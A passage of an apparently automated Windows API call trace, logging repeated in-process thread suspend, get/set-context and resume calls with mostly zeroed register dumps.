[12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0111.874] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b1560, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0111.878] ResumeThread (hThread=0xd8) returned 0x1 [0111.878] CloseHandle (hObject=0xd8) returned 1 [0111.878] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0111.987] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.092] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.198] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0112.199] SuspendThread (hThread=0xd8) returned 0x0 [0112.199] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b14c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f873ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0112.203] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b14b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0112.203] ResumeThread (hThread=0xd8) returned 0x1 [0112.203] CloseHandle (hObject=0xd8) returned 1 [0112.203] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.205] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.311] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0112.453] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0112.453] SuspendThread (hThread=0xd8) returned 0x0 [0112.453] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b14e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f87b007, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0112.454] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b14e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, 